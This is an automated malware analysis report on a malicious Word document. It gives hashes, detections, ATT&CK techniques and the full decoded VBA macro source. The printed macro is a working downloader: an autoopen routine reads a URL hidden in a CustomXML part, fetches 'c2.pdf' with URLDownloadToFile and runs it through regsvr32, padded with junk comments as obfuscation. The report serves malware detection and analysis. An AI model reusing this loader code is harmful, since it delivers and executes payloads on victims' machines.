Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0250519e459164a9…

MALICIOUS

Office (OOXML)

116.2 KB Created: 2020-07-20 09:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 3aa59b8fe2454338432fd4e28dd7c582 SHA-1: a59f3b3a27f4010027423afb945dd40f123328eb SHA-256: 0250519e459164a9de842bd9e6bee64c48c4e8ad6d85e71aed8810d836646332
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which uses URLDownloadToFile to download a file named 'c2.pdf' and then executes it using the Shell function. This indicates a downloader or droppper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Monitor
    Shell wu & bn & "32 c2.pdf"
    End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Rx As LongPtr, ByVal Wt As String, ByVal MT As String, ByVal yP As LongPtr, ByVal cE As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    Si = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3790 bytes
SHA-256: c873729ad1295594fd7e9cece7e5542d64cd34fe7fe5ba605516d3070bcc9fd9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "nb"
Function q2(q1)
    
' Sam confident

' Fido omelette whales
' Crystallization
' Gorilla upholstery ninety-five art bankruptcy

' Tim ventricle voting law
' Overhear alberta
' Duplicity screw stallion

' Intro uno endorsement exactitude
' Meter oatmeal warped
' Hurling accords technique

' Gulf stephanie lovers
' Handmaiden crash card

' Featured
' Citizens definitions amiability
' Propecia jaguar storage
' Roses
End Function
Sub autoopen()
Si = ActiveDocument.CustomXMLParts(ActiveDocument.CustomXMLParts.Count).SelectNodes("//Items")(1).ChildNodes(2).Text

' Quiescent mw exception economics orientation portsmouth
' Vault auditory destination chios chuck healthcare kim
' Licenses dutchman flexibility
' Promise capitol propensity
' Newman watch chocolate mathematician exams

' Pontiac looped ti kennels
' Mustard
' Marilyn centaur labs
' Preceding measurable
' Cowslip veteran
' Gets militarism mathematics sociology disquisition iowa
frm.download Si, "c2.pdf"

' Computed thrown authorize jackie virginity
' Hogshead childlike bathroom double-barrelled ppc

' Cinderella sonya judicial
' Pistil candor easily
' Wires

' Guide jungle responses
' Combination cd attached
' Inst. maximize compatible
' Swindler optical johannesburg really
' Vb
' Sr whipping

' Crystalline reprimand convulsive
' Strategy mw grotto gmt abs
' Monitor
Shell wu & bn & "32 c2.pdf"
End Sub

Attribute VB_Name = "nb1"
Sub e4()

' Prop beyond clothing trustee
' Cinderella diff warming
' Severe skating programs
' Outcome conservatory inducing

' Pores illegal
' Bikini covert

' Frontier ferry know caught shanghai
' Aid families
' Forum nodes adorer talker

' Handled retained
' Rome hover governance
' Past getting
' Impact plod
' Occurred displaying Word

' Disintegration viewers hopper electorate
' Tumbler worcestershire

' Slam
' Degenerate chances navy tug
' Decrease

' Godless
' Forgetful fiji

' Regression palermo temporarily chaparral fiat
' Libs reconstruct
' Psychiatry interloper lars arson implies

' Decor
' Auditorium forger flog seafaring
' Solely
' Unholy poker
' Corners

' Disable institute
' Upheld fullness tokyo degrade aggravate

' Regent aground el snake cayman acclaimed
' Offensive python disclose circuitous gardening inflected confident bladder
' Eskimo lunatic israel amazingly
' Bored agonized gmbh

' Chevalier seminary cap limousines whale john lama
' Suave dislodge
' Subjects trojan fiji
End Sub

Attribute VB_Name = "e"
Public Const wu As String = "reg"
Public Const bn As String = "svr"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Rx As LongPtr, ByVal Wt As String, ByVal MT As String, ByVal yP As LongPtr, ByVal cE As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Rx As Long, ByVal Wt As String, ByVal MT As String, ByVal yP As Long, ByVal cE As Long) As Long
#End If

Attribute VB_Name = "frm"
Attribute VB_Base = "0{4F4E1136-B72B-4982-A395-773C23951A4D}{2073DAA0-F406-4643-BD59-E79EB7F27367}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: e6c9e5d1467dea04893a06e876dbb8e331d02708a3a2b1f3df5ee9ecf8435eb5